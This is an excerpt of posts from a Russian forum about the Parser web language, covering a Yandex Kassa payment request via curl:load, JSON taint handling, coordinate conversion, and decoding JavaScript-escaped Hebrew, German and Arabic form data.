Правильный вариант я вам написал. Что делать дальше тоже. :)"
"85343","Не совсем понимаю, почему переданные заголовки оказываются в теле запроса.\
\
Пробовал через консоль отправить запрос, также возвращает 400 (если я правильно сделал))."
"85344","А потом внимательно https://www.parser.ru/forum/?id=85340"
"85345","Для этого надо видеть что вы отправляете на сервер и что от него получаете в ответ. Удобно это сделать консольной утилитой curl с ключем -v, тем более, что Касса дает примеры для курла в документации. После того как вы научитесь делать запросы курлом, сделайте тоже самое в Парсере через curl:load. Чтобы увидеть что Парсер отправляет, полезно включать отладку через опции verbose и stderr.\
\
Про это я сильно короче и написал в https://www.parser.ru/forum/?id=85340 \
\
Если вы хотите помощи на форуме, то в любом сообщении о проблеме приводите максимум подробностей. Делаю такой-то запрос, вот его полный дамп, вот спецификация по которой формировал запрос и т.д. и т.п. Логины и пароли в дампах заменяйте на звездочки.\
\
Как правило, при таком подходе, вы сами быстро найдете ошибку еще до того как напишете сообщение на форум. Также стоит писать сообщения в техподдержку Кассы — приводите им подробный дамп работы программы curl, заменив пароли звездочками.\
\
Это очень важно для случая с Кассой. У кассы закрытое АПИ — требует логин и пароль — мы можем только пощупать АПИ с произвольными логином и паролем и получить ошибку, т.е. не можем полноценно воспроизвести все возможные причины ошибок. Можем только подсказать, а дальше вы сами должны копать в чем проблема. \
\
Когда вы приходите с ответами «я сделал почти тоже самое и не получается», то остается только развести руками — что вы сделали и почему из этого ответа непонятно. Пожалуйста, сэкономьте время и нам и себе. :)"
"85346","Спасибо за помощь. На текущий момент пока проблем больше нет.\
\
Рабочий код:\
[code]\
$kassa[^curl:load[\
	  $.url[https://payment.yandex.net/api/v3/payments]\
	  $.post(true)\
	  $.ssl_verifypeer(true)\
\
		$.verbose(true)\
		$.stderr[/curl.txt]\
\
	  $.userpwd[***:***]\
	  $.httpheader[\
	     $.[Content-Type][application/json]\
	     $.[Idempotence-Key][qwerty]\
	  ]\
	  $.postfields[{\
			\"amount\": {\
				\"value\": \"600.00\",\
				\"currency\": \"RUB\"\
			},\
			\"confirmation\":{\
				\"type\":\"embedded\"\
			},\
			\"capture\": true,\
			\"description\":\"order72\",\
			\"receipt\": {\
				\"customer\": {\
					\"full_name\": \"Иванов Иван Иванович\",\
					\"phone\": \"79000000000\"\
				},\
				\"items\": [{\
					\"description\": \"Доставка\",\
					\"quantity\": \"1.00\",\
					\"amount\": {\
						\"value\": \"600.00\",\
						\"currency\": \"RUB\"\
					},\
					\"vat_code\": \"2\",\
					\"payment_mode\": \"full_prepayment\",\
					\"payment_subject\": \"commodity\"\
				}]\
			}\
		}]\
	]]\
[/code]\
\
Ошибка была в строке [code]\"capture\": true,[/code]. В доках идет [code]\"capture\": True,[/code]"
"85348","Я правильно понимаю, что ключ $.taint[...] не преобразует ключи а только значения? Почему, ведь в доке сказано что указывается язык преобразования для [b]всех[/b] строк?\
\
test.json:\
[code]\
{\
	\"key\":\"value\"\
}[/code]\
\
[code]@main[]\
$test[^file::load[text;test.json]]\
$test[^json:parse[^taint[as-is][$test.text]][$.taint[as-is]]]\
^test.foreach[k;v]{\
	^reflection:tainting[$k] || ^reflection:tainting[$v]\
}\
[/code]\
Результат:\
[quote]TTT || AAAAA[/quote]"
"85349","Ключи хеша не имеют языка. А tainted ключ делает foreach, при записи в переменную. Сам иногда удивляюсь, насколько это обычно незаметно для разработчика, только если специально писать что-нибудь типа:\
\
[code]$s[^taint[uri;te st.]]\
$h[ $.$s[$s] ]\
^apply-taint[regex; ^h.foreach[k;v]{$k=>$v} ]\
[/code]\
\
Выведет te st\\.=>te%20st."
"85350","Подскажите. пожалуйста, а есть возможность делать post-запросы на сервер? Например, чтобы залогиниться."
"85351","^file::load[] - [url=\"https://www.parser.ru/docs/lang/?fileload.htm\"]Загрузка файла с диска или HTTP-сервера[/url]\
\
^curl:load[] - [url=\"https://www.parser.ru/docs/lang/?curlload.htm\"]Загрузка файла с удалённого сервера[/url]"
"85353","а как передать параметры в headers? вот так не получается:\
\
$file[^curl:load[ \
\
   $.url[http://www.example.ru/login] \
\
   $.login[login] \
   $.password[password] \
\
]]"
"85354","намалевал преобразовалку координат в \"человекоглазопонятньійконтурньій\" вариант\
но есть некоторьіе заскоки при нулевьіх секундах и минутах\
\
[code]\
	$LatDD(^math:trunc($Lat))\
	$LatMM(^math:trunc(($Lat - $LatDD) * 60))\
	$LatSS(^math:frac(($Lat - $LatDD) * 60) * 60)\
	$LatL[^if($Lat<0){S}{N}]\
\
	$LonDD(^math:trunc($Lon))\
	$LonMM(^math:trunc(($Lon - $LonDD) * 60))\
	$LonSS(^math:frac(($Lon - $LonDD) * 60) * 60)\
	$LonL[^if($Lat<0){W}{E}]\
\
$lResult[\
 ^eval(^math:abs($LatDD))[%02.0f]°\
 ^eval(^math:abs($LatMM))[%02.0f]'\
 ^eval(^math:abs($LatSS))[%02.0f]\"$LatL\
\
 ^eval(^math:abs($LonDD))[%02.0f]°\
 ^eval(^math:abs($LonMM))[%02.0f]'\
 ^eval(^math:abs($LonSS))[%02.0f]\"$LonL\
]\
[/code]\
\
  $Lat(45.933333)\
  $Lon(36.633333)\
\
-> 45°55'60\"N 36°37'60\"E\
\
а 60\" єто ж 1' :)\
тобто правильньій ответ по идее 45°56'00\"N 36°38'00\"E\
\
всю голову уже сломал :("
"85355","https://www.parser.ru/forum/?id=85338\
\
И в документации примеры посмотрите пожалуйста."
"85356","[code]@main[]\
<pre>\
	^to_human[lat](45.933333)\
	^to_human[lon](36.633333)\
</pre>\
\
\
@to_human[label;num]\
$sec(^math:ceiling($num * 3600))\
\
$grad($sec \\ 3600)\
$min(($sec - $grad * 3600) \\ 60)\
$sec($sec - $grad * 3600 - $min * 60)\
\
$result[$label $num > ${grad}°${min}'${sec}\"][/code]\
\
[i]lat 45.933333 > 45°56'0\"\
lon 36.633333 > 36°38'0\"[/i]"
"85357","результирующий вариант:\
\
[code]@dd2dms[aDD][locals;result]\
	$lSS(^math:ceiling(^math:abs($aDD) * 3600))\
	$lDD($lSS \\ 3600)\
	$lMM(($lSS - $lDD * 3600) \\ 60)\
	$lSS(($lSS - $lDD * 3600 - $lMM * 60))\
$result[\
	$.DD($lDD)\
	$.MM($lMM)\
	$.SS($lSS)\
	$.D(^if($aDD<0){-1}{1}) ^rem{direction}\
]\
[/code]\
\
\
а вот кстати: а есть возможность в result например както так сделать?\
[code]@dd2dms[aDD][locals;result]\
	$lSS(^math:ceiling(^math:abs($aDD) * 3600))\
$result[\
	$.DD($lSS \\ 3600)\
	$.MM(($lSS - $.DD * 3600) \\ 60)\
	$.SS(($lSS - $.DD * 3600 - $.MM * 60))\
	$.D(^if($aDD<0){-1}{1}) ^rem{direction}\
]\
[/code]\
или \"ну фигли тутто оптимирировать то?\" :)"
"85358","[quote]а есть возможность в result например както так сделать?[/quote]\
\
Можно так:\
[code]@dd2dms[aDD][locals]\
$result[^hash::create[]]\
\
$lSS(^math:ceiling(^math:abs($aDD) * 3600))\
\
$result.DD($lSS \\ 3600)\
$result.MM(($lSS - $result.DD * 3600) \\ 60)\
$result.SS($lSS - $result.DD * 3600 - $result.MM * 60)\
$result.D(^math:sign($aDD))[/code]\
\
\
Не совсем понимаю, почему используется формат «DD» — координаты хранятся не в днях, а в градусах.\
\
Указание [i]result[/i] в локальных переменных нужно только в случае, если необходимо выбросить из строкового результата метода все пробельные символы."
"85360","Из формы POST'ом приходят данные (на немецком, иврите, арабском) в unicode из JavaScript'а\
\
$mystr[$form:postdata]\
\
как их вывести на страницу в человеческом виде?\
\
$readable[^string:unescape[js;$mystr]]\
не работает, выводит знаки \"?\" вместо любого символа не на латинице и кириллице.\
\
Кодировка страницы в UTF-8 \
\
Благодарю...\
\
P.S. примеры содержимого $mystr:\
\
Русский\
%0A%0A%u0440%u0443%u0441%u0441%u043A%u0438%u0439%\
\
Немецкий \
\
%0AUnd%20an%20diesem%20Zauberf%E4dchen%2C%0ADas%20sich%20nicht%20zerrei%DFen%20l%E4%DFt%2C%0AH%E4lt%20das%20liebe%20lose%20M%E4dchen%0AMich%20so%20wider%20Willen%20fest%3B%0AMu%DF%20in%20ihrem%20Zauberkreise%0ALeben%20nun%20auf%20ihre%20Weise.%0ADie%20Ver%E4ndrung%2C%20ach%2C%20wie%20gro%DF%21%0ALiebe%21%20Liebe%21%20la%DF%20mich%20los%21%0A%0A\
\
Иврит\
\
%0A%u05D9%u05D5%u05EA%u05E8%20%u05DC%u05D0%20%u05D0%u05D5%u05D5%u05EA%u05E8%20%u05DC%u05DA%20%u05D2%u05DD%20%u05DB%u05E9%u05D4%u05DC%u05D1%20%u05DC%u05D0%20%u05E4%u05D5%u05D2%u05E2%0A%u05DB%u05BC%u05B4%u05DE%u05E2%u05B7%u05D8%20%u05D5%u05DE%u05B4%u05E9%u05EA%u05B7%u05D2%u05B5%u05E2%u05B7%2C%20%u05D0%u05DD%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05BC%u05B4%u05DC%u05E2%u05B8%u05D3%u05B7%u05D9%0A%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05D9%u05D5%u05D3%u05E2%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05DC%u05B7%u05DB%u05DC%u05B5%u05DA%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05B0%u05E7%u05B7%u05D5%u05D5%u05B6%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A%0A%u05D9%u05E9%20%u05D1%u05DA%20%u05DE%u05D4%20%u05E9%u05D0%u05D9%u05DF%20%u05DC%u05D0%u05E3%20%u05D0%u05D7%u05D3%20%u05D0%u05D7%u05E8%u05EA%0A%u05DE%u05D5%u05B9%u05D3%u05B6%u05D4%20%u05E9%u05D1%u05DC%u05B5%u05D9%u05DC%u05D5%u05B9%u05EA%20%u05DB%u05E9%u05D0%u05EA%20%u05DC%u05D0%20%u05E0%u05E9%u05D0%u05E8%u05EA%0A%u05E2%u05B4%u05D9%u05D5%u05D5%u05B5%u05E8%20%u05E2%u05D5%u05D3%20%u05DE%u05B0%u05D7%u05B7%u05E4%u05BC%u05B5%u05E9%u05C2%20%u05D0%u05EA%20%u05D4%u05D3%u05B6%u05E8%u05B6%u05DA%20%u05DC%u05B6%u05D0%u05B1%u05D4%u05D5%u05B9%u05D1%0A%u05D9%u05D5%u05EA%u05E8%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E9%u05DC%u05DD%2C%20%u05D4%u05E9%u05B6%u05E7%u05B6%u05D8%20%u05E2%u05D5%u05D3%20%u05E4%u05BC%u05D5%u05B9%u05E6%u05B5%u05E2%u05B7%0A%u05D1%u05D0%u05D4%u05D1%u05D4%20%u05DE%u05D6%u05DE%u05DF%20%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E0%u05D5%u05B9%u05D2%u05B5%u05E2%u05B7%0A%u05D9%u05D5%u05E4%u05D9%u05D9%u05DA%20%u05E2%u05D5%u05D3%20%u05DE%u05B4%u05E6%u05D8%u05B7%u05D9%u05D9%u05B5%u05E8%20%u05E2%u05DD%20%u05E6%u05E2%u05D3%u05D9%u05D9%u05DA%20%u05D1%u05D3%u05DE%u05D9%u05D5%u05DF%0A%0A%u05D4%u05D0%u05D5%u05E9%u05E8%20%u05DE%u05EA%u05E0%u05D2%u05DF%20%28%u0437%u0432%u0443%u0447%u0438%u0442%29%20%u05DC%u05DA%20%u05D5%u05D4%u05D1%u05BC%u05D3%u05B4%u05D9%u05D3%u05D5%u05BC%u05EA%20%u05DE%u05B0%u05D7%u05B7%u05D1%u05BC%u05B5%u05E7%u05EA%0A%u05D0%u05E3%20%u05E4%u05E2%u05DD%20%u05DC%u05D0%20%u05E9%u05D5%u05DB%u05D7%20%u05DB%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05DC%u05E2%u05D3%u05D9%u05D9%0A%u05D0%u05DC%20%u05DE%u05D9%20%u05D0%u05EA%20%u05DE%u05EA%u05E7%u05E8%u05D1%u05EA%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05E8%u05E1%u05E7%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05E7%u05D5%u05D5%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A"
"85361","А как в этом примере облачить каждую запись в кавычки?\
'текст1', 'текст2', 'текст3' \
\
Пока придумал так:\
$str[^tab.menu{$tab.number}[', ']]\
$str['$str']\
\
но думаю, есть более элегантное решение"
"85365","Благодарю за догадку, но к сожалению это не так... Есть ли еще какие мысли??"
"85367","Content-Type: text/html; charset=UTF-8\
Результат по ссылке: https://yadi.sk/i/DXeEnnAxS083RQ"
"85368","[code]^string:js-unescape[%0A%u05D9%u05D5%u05EA%u05E8%20%u05DC%u05D0%20%u05D0%u05D5%u05D5%u05EA%u05E8%20%u05DC%u05DA%20%u05D2%u05DD%20%u05DB%u05E9%u05D4%u05DC%u05D1%20%u05DC%u05D0%20%u05E4%u05D5%u05D2%u05E2%0A%u05DB%u05BC%u05B4%u05DE%u05E2%u05B7%u05D8%20%u05D5%u05DE%u05B4%u05E9%u05EA%u05B7%u05D2%u05B5%u05E2%u05B7%2C%20%u05D0%u05DD%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05BC%u05B4%u05DC%u05E2%u05B8%u05D3%u05B7%u05D9%0A%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05D9%u05D5%u05D3%u05E2%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05DC%u05B7%u05DB%u05DC%u05B5%u05DA%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05B0%u05E7%u05B7%u05D5%u05D5%u05B6%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A%0A%u05D9%u05E9%20%u05D1%u05DA%20%u05DE%u05D4%20%u05E9%u05D0%u05D9%u05DF%20%u05DC%u05D0%u05E3%20%u05D0%u05D7%u05D3%20%u05D0%u05D7%u05E8%u05EA%0A%u05DE%u05D5%u05B9%u05D3%u05B6%u05D4%20%u05E9%u05D1%u05DC%u05B5%u05D9%u05DC%u05D5%u05B9%u05EA%20%u05DB%u05E9%u05D0%u05EA%20%u05DC%u05D0%20%u05E0%u05E9%u05D0%u05E8%u05EA%0A%u05E2%u05B4%u05D9%u05D5%u05D5%u05B5%u05E8%20%u05E2%u05D5%u05D3%20%u05DE%u05B0%u05D7%u05B7%u05E4%u05BC%u05B5%u05E9%u05C2%20%u05D0%u05EA%20%u05D4%u05D3%u05B6%u05E8%u05B6%u05DA%20%u05DC%u05B6%u05D0%u05B1%u05D4%u05D5%u05B9%u05D1%0A%u05D9%u05D5%u05EA%u05E8%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E9%u05DC%u05DD%2C%20%u05D4%u05E9%u05B6%u05E7%u05B6%u05D8%20%u05E2%u05D5%u05D3%20%u05E4%u05BC%u05D5%u05B9%u05E6%u05B5%u05E2%u05B7%0A%u05D1%u05D0%u05D4%u05D1%u05D4%20%u05DE%u05D6%u05DE%u05DF%20%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E0%u05D5%u05B9%u05D2%u05B5%u05E2%u05B7%0A%u05D9%u05D5%u05E4%u05D9%u05D9%u05DA%20%u05E2%u05D5%u05D3%20%u05DE%u05B4%u05E6%u05D8%u05B7%u05D9%u05D9%u05B5%u05E8%20%u05E2%u05DD%20%u05E6%u05E2%u05D3%u05D9%u05D9%u05DA%20%u05D1%u05D3%u05DE%u05D9%u05D5%u05DF%0A%0A%u05D4%u05D0%u05D5%u05E9%u05E8%20%u05DE%u05EA%u05E0%u05D2%u05DF%20%28%u0437%u0432%u0443%u0447%u0438%u0442%29%20%u05DC%u05DA%20%u05D5%u05D4%u05D1%u05BC%u05D3%u05B4%u05D9%u05D3%u05D5%u05BC%u05EA%20%u05DE%u05B0%u05D7%u05B7%u05D1%u05BC%u05B5%u05E7%u05EA%0A%u05D0%u05E3%20%u05E4%u05E2%u05DD%20%u05DC%u05D0%20%u05E9%u05D5%u05DB%u05D7%20%u05DB%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05DC%u05E2%u05D3%u05D9%u05D9%0A%u05D0%u05DC%20%u05DE%u05D9%20%u05D0%u05EA%20%u05DE%u05EA%u05E7%u05E8%u05D1%u05EA%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05E8%u05E1%u05E7%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05E7%u05D5%u05D5%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A][/code]\
\
[url=https://www.dropbox.com/s/ohzzz97iohhje8o/decoded.png?dl=0]Скриншот[/url]."
"85370","Вы правы, что так должно работать... но по какой-то причине не работает... показывает знаки вопроса при выводе результата"
"85371","JS метод escape() кодирует проблемные символы немецкого текста кодами %E4 и %DF, метод encodeURI(), кодирует эти же символы кодами %C3%A4 и %C3%9F соответственно. C кодировкой метода encodeURI() [url=\"https://yadi.sk/i/s7wtT89e-hPt8g\"]проблем не наблюдаю[/url]."
"85372","Исходный текст на разных языках выводится в браузере корректно?\
\
Попробуйте закодировать текст в виде &#x0440; (заменой вида %u0440 -> &#x0440;) и проверьте вывод сущностей в HTML."
"85373","Благодарю за ответ! Пробовал encodeURI() и encodeURIComponent()... после этого содержимое POST запроса конечно же меняется, строка с результатом в данном случае содержит уже \"крякозябры\" и вместо кириллицы тоже НО путем ручного перевода кодировки браузера в UNICODE кодировку я вижу искомый результат. Обратная сторона такого танца с бубном - все остальное содержимое превращается в \"не читаемый набор символов \"\
\
Самое интересное, если передавать данные через GET, то декодируя адресную строку получаю правильный ответ\
\
$decode[$request:query]\
$result[^string:unescape[uri;$decode]]\
\
т.е. проблема именно в кодировке POST по прилету из js"
"85374","Да, корректно отображаются (только иногда месиво получается так как нет полной таблицы подстановок у меня, что- на что менять)..."
"85376","Страница с формой, как и все остальные в UTF-8"
"85377","Тот, что отправляют через форму."
"85378","Благодарю за помощь...\
\
Исходные данные: Все страницы в UTF-8\
\
Немецкий\
\
Ich wei&#223; nicht, was soll es bedeuten\
Da&#946; ich so traurig bin;\
Ein M&#228;rchen aus alten Zeiten,\
Das kommt mir nicht aus dem Sinn.\
\
Иврит\
\
&#1497;&#1493;&#1514;&#1512; &#1500;&#1488; &#1488;&#1493;&#1493;&#1514;&#1512; &#1500;&#1498; &#1490;&#1501; &#1499;&#1513;&#1492;&#1500;&#1489; &#1500;&#1488; &#1508;&#1493;&#1490;&#1506;\
&#1499;&#1468;&#1460;&#1502;&#1506;&#1463;&#1496; &#1493;&#1502;&#1460;&#1513;&#1514;&#1463;&#1490;&#1461;&#1506;&#1463;, &#1488;&#1501; &#1496;&#1493;&#1489; &#1500;&#1498; &#1489;&#1468;&#1460;&#1500;&#1506;&#1464;&#1491;&#1463;&#1497;\
&#1488;&#1504;&#1497; &#1499;&#1489;&#1512; &#1500;&#1488; &#1497;&#1493;&#1491;&#1506;\
\
&#1506;&#1493;&#1491; &#1502;&#1506;&#1496; &#1493;&#1488;&#1514;&#1500;&#1463;&#1499;&#1500;&#1461;&#1498; &#1489;&#1513;&#1511;&#1496; &#1513;&#1497;&#1489;&#1493;&#1488;\
&#1502;&#1456;&#1511;&#1463;&#1493;&#1493;&#1462;&#1492; &#1513;&#1496;&#1493;&#1489; &#1500;&#1498;, &#1496;&#1493;&#1489; &#1500;&#1498; &#1488;&#1497;&#1514;&#1493;\
\
&#1497;&#1513; &#1489;&#1498; &#1502;&#1492; &#1513;&#1488;&#1497;&#1503; &#1500;&#1488;&#1507; &#1488;&#1495;&#1491; &#1488;&#1495;&#1512;&#1514;\
&#1502;&#1493;&#1465;&#1491;&#1462;&#1492; &#1513;&#1489;&#1500;&#1461;&#1497;&#1500;&#1493;&#1465;&#1514; &#1499;&#1513;&#1488;&#1514; &#1500;&#1488; &#1504;&#1513;&#1488;&#1512;&#1514;\
&#1506;&#1460;&#1497;&#1493;&#1493;&#1461;&#1512; &#1506;&#1493;&#1491; &#1502;&#1456;&#1495;&#1463;&#1508;&#1468;&#1461;&#1513;&#1474; &#1488;&#1514; &#1492;&#1491;&#1462;&#1512;&#1462;&#1498; &#1500;&#1462;&#1488;&#1457;&#1492;&#1493;&#1465;&#1489;\
&#1497;&#1493;&#1514;&#1512; &#1499;&#1489;&#1512; &#1500;&#1488; &#1513;&#1500;&#1501;, &#1492;&#1513;&#1462;&#1511;&#1462;&#1496; &#1506;&#1493;&#1491; &#1508;&#1468;&#1493;&#1465;&#1510;&#1461;&#1506;&#1463;\
&#1489;&#1488;&#1492;&#1489;&#1492; &#1502;&#1494;&#1502;&#1503; &#1488;&#1504;&#1497; &#1499;&#1489;&#1512; &#1500;&#1488; &#1504;&#1493;&#1465;&#1490;&#1461;&#1506;&#1463;\
&#1497;&#1493;&#1508;&#1497;&#1497;&#1498; &#1506;&#1493;&#1491; &#1502;&#1460;&#1510;&#1496;&#1463;&#1497;&#1497;&#1461;&#1512; &#1506;&#1501; &#1510;&#1506;&#1491;&#1497;&#1497;&#1498; &#1489;&#1491;&#1502;&#1497;&#1493;&#1503;\
\
&#1492;&#1488;&#1493;&#1513;&#1512; &#1502;&#1514;&#1504;&#1490;&#1503; (звучит) &#1500;&#1498; &#1493;&#1492;&#1489;&#1468;&#1491;&#1460;&#1497;&#1491;&#1493;&#1468;&#1514; &#1502;&#1456;&#1495;&#1463;&#1489;&#1468;&#1461;&#1511;&#1514;\
&#1488;&#1507; &#1508;&#1506;&#1501; &#1500;&#1488; &#1513;&#1493;&#1499;&#1495; &#1499;&#1513;&#1496;&#1493;&#1489; &#1500;&#1498; &#1489;&#1500;&#1506;&#1491;&#1497;&#1497;\
&#1488;&#1500; &#1502;&#1497; &#1488;&#1514; &#1502;&#1514;&#1511;&#1512;&#1489;&#1514;\
\
&#1506;&#1493;&#1491; &#1502;&#1506;&#1496; &#1493;&#1488;&#1514;&#1512;&#1505;&#1511; &#1489;&#1513;&#1511;&#1496; &#1513;&#1497;&#1489;&#1493;&#1488;\
&#1502;&#1511;&#1493;&#1493;&#1492; &#1513;&#1496;&#1493;&#1489; &#1500;&#1498;, &#1496;&#1493;&#1489; &#1500;&#1498; &#1488;&#1497;&#1514;&#1493;\
\
Арабский\
\
&#1607;&#1615;&#1606;&#1614;&#1575;&#1603;&#1618; &#1593;&#1614;&#1575;&#1604;&#1614;&#1605;&#1618; &#1581;&#1614;&#1610;&#1618;&#1579;&#1615; &#1578;&#1614;&#1588;&#1618;&#1593;&#1615;&#1585;&#1618; &#1585;&#1615;&#1608;&#1581;&#1616;&#1610; &#1606;&#1614;&#1601;&#1618;&#1587;&#1614;&#1607;&#1614;&#1575; &#1603;&#1614;&#1571;&#1614;&#1606;&#1607;&#1617;&#1614;&#1575;&#1614; &#1601;&#1616;&#1610; &#1576;&#1614;&#1610;&#1618;&#1578;&#1616;&#1607;&#1614;&#1575;...&#1608;&#1614; &#1607;&#1614;&#1584;&#1614;&#1575; &#1575;&#1604;&#1618;&#1593;&#1614;&#1575;&#1604;&#1614;&#1605;&#1618; &#1607;&#1615;&#1608;&#1614; &#1593;&#1614;&#1575;&#1604;&#1614;&#1605;&#1618; &#1593;&#1615;&#1610;&#1615;&#1608;&#1606;&#1614;&#1603;&#1618; &#1575;&#1604;&#1618;&#1605;&#1615;&#1578;&#1614;&#1571;&#1614;&#1605;&#1617;&#1616;&#1604;&#1614;&#1577; &#1601;&#1616;&#1610; &#1575;&#1604;&#1578;&#1617;&#1614;&#1601;&#1618;&#1603;&#1616;&#1610;\
\
(1)\
\
Передаем через POST enctype=\"application/x-www-form-urlencoded\" используя \
escape(postdata)\
\
$fp[$form:frompost]\
\
$readable[^string:unescape[js;$fp]] или $readable[^string:js-unescape[$fp]]\
\
в ответе отображается только кириллица и латиница\
\
См. https://ibb.co/26wyGMB\
\
При этом содержимое передаваемых данных выглядит так:\
  \
Немецкий\
\
Ich%20wei%DF%20nicht%2C%20was%20soll%20es%20bedeuten%0ADa%u03B2%20ich%20so%20traurig%20bin%3B%0AEin%20M%E4rchen%20aus%20alten%20Zeiten%2C%0ADas%20kommt%20mir%20nicht%20aus%20dem%20Sinn.\
\
\
\
Иврит\
\
%u05D9%u05D5%u05EA%u05E8%20%u05DC%u05D0%20%u05D0%u05D5%u05D5%u05EA%u05E8%20%u05DC%u05DA%20%u05D2%u05DD%20%u05DB%u05E9%u05D4%u05DC%u05D1%20%u05DC%u05D0%20%u05E4%u05D5%u05D2%u05E2%0A%u05DB%u05BC%u05B4%u05DE%u05E2%u05B7%u05D8%20%u05D5%u05DE%u05B4%u05E9%u05EA%u05B7%u05D2%u05B5%u05E2%u05B7%2C%20%u05D0%u05DD%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05BC%u05B4%u05DC%u05E2%u05B8%u05D3%u05B7%u05D9%0A%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05D9%u05D5%u05D3%u05E2%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05DC%u05B7%u05DB%u05DC%u05B5%u05DA%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05B0%u05E7%u05B7%u05D5%u05D5%u05B6%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A%0A%u05D9%u05E9%20%u05D1%u05DA%20%u05DE%u05D4%20%u05E9%u05D0%u05D9%u05DF%20%u05DC%u05D0%u05E3%20%u05D0%u05D7%u05D3%20%u05D0%u05D7%u05E8%u05EA%0A%u05DE%u05D5%u05B9%u05D3%u05B6%u05D4%20%u05E9%u05D1%u05DC%u05B5%u05D9%u05DC%u05D5%u05B9%u05EA%20%u05DB%u05E9%u05D0%u05EA%20%u05DC%u05D0%20%u05E0%u05E9%u05D0%u05E8%u05EA%0A%u05E2%u05B4%u05D9%u05D5%u05D5%u05B5%u05E8%20%u05E2%u05D5%u05D3%20%u05DE%u05B0%u05D7%u05B7%u05E4%u05BC%u05B5%u05E9%u05C2%20%u05D0%u05EA%20%u05D4%u05D3%u05B6%u05E8%u05B6%u05DA%20%u05DC%u05B6%u05D0%u05B1%u05D4%u05D5%u05B9%u05D1%0A%u05D9%u05D5%u05EA%u05E8%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E9%u05DC%u05DD%2C%20%u05D4%u05E9%u05B6%u05E7%u05B6%u05D8%20%u05E2%u05D5%u05D3%20%u05E4%u05BC%u05D5%u05B9%u05E6%u05B5%u05E2%u05B7%0A%u05D1%u05D0%u05D4%u05D1%u05D4%20%u05DE%u05D6%u05DE%u05DF%20%u05D0%u05E0%u05D9%20%u05DB%u05D1%u05E8%20%u05DC%u05D0%20%u05E0%u05D5%u05B9%u05D2%u05B5%u05E2%u05B7%0A%u05D9%u05D5%u05E4%u05D9%u05D9%u05DA%20%u05E2%u05D5%u05D3%20%u05DE%u05B4%u05E6%u05D8%u05B7%u05D9%u05D9%u05B5%u05E8%20%u05E2%u05DD%20%u05E6%u05E2%u05D3%u05D9%u05D9%u05DA%20%u05D1%u05D3%u05DE%u05D9%u05D5%u05DF%0A%0A%u05D4%u05D0%u05D5%u05E9%u05E8%20%u05DE%u05EA%u05E0%u05D2%u05DF%20%28%u0437%u0432%u0443%u0447%u0438%u0442%29%20%u05DC%u05DA%20%u05D5%u05D4%u05D1%u05BC%u05D3%u05B4%u05D9%u05D3%u05D5%u05BC%u05EA%20%u05DE%u05B0%u05D7%u05B7%u05D1%u05BC%u05B5%u05E7%u05EA%0A%u05D0%u05E3%20%u05E4%u05E2%u05DD%20%u05DC%u05D0%20%u05E9%u05D5%u05DB%u05D7%20%u05DB%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D1%u05DC%u05E2%u05D3%u05D9%u05D9%0A%u05D0%u05DC%20%u05DE%u05D9%20%u05D0%u05EA%20%u05DE%u05EA%u05E7%u05E8%u05D1%u05EA%0A%0A%u05E2%u05D5%u05D3%20%u05DE%u05E2%u05D8%20%u05D5%u05D0%u05EA%u05E8%u05E1%u05E7%20%u05D1%u05E9%u05E7%u05D8%20%u05E9%u05D9%u05D1%u05D5%u05D0%0A%u05DE%u05E7%u05D5%u05D5%u05D4%20%u05E9%u05D8%u05D5%u05D1%20%u05DC%u05DA%2C%20%u05D8%u05D5%u05D1%20%u05DC%u05DA%20%u05D0%u05D9%u05EA%u05D5%0A\
\
\
Арабский\
\
